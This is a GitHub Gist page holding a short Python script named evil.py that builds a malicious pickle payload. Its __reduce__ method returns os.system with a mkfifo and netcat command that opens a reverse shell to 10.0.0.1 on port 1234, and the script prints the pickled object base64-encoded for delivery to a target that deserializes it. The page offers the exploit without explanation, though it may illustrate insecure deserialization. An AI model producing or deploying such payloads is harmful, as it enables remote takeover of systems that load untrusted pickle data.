Created
October 23, 2023 08:46
-
-
Save pablogsal/230fa6528f920c22bc78ab3f6cf2a428 to your computer and use it in GitHub Desktop.
evil.py
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import pickle | |
import base64 | |
import os | |
class Evil: | |
def __reduce__(self): | |
cmd = ('rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc 10.0.0.1 1234 > /tmp/f') | |
return os.system, (cmd,) | |
if __name__ == '__main__': | |
pickled = pickle.dumps(Evil()) | |
print(base64.b64encode(pickled)) |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment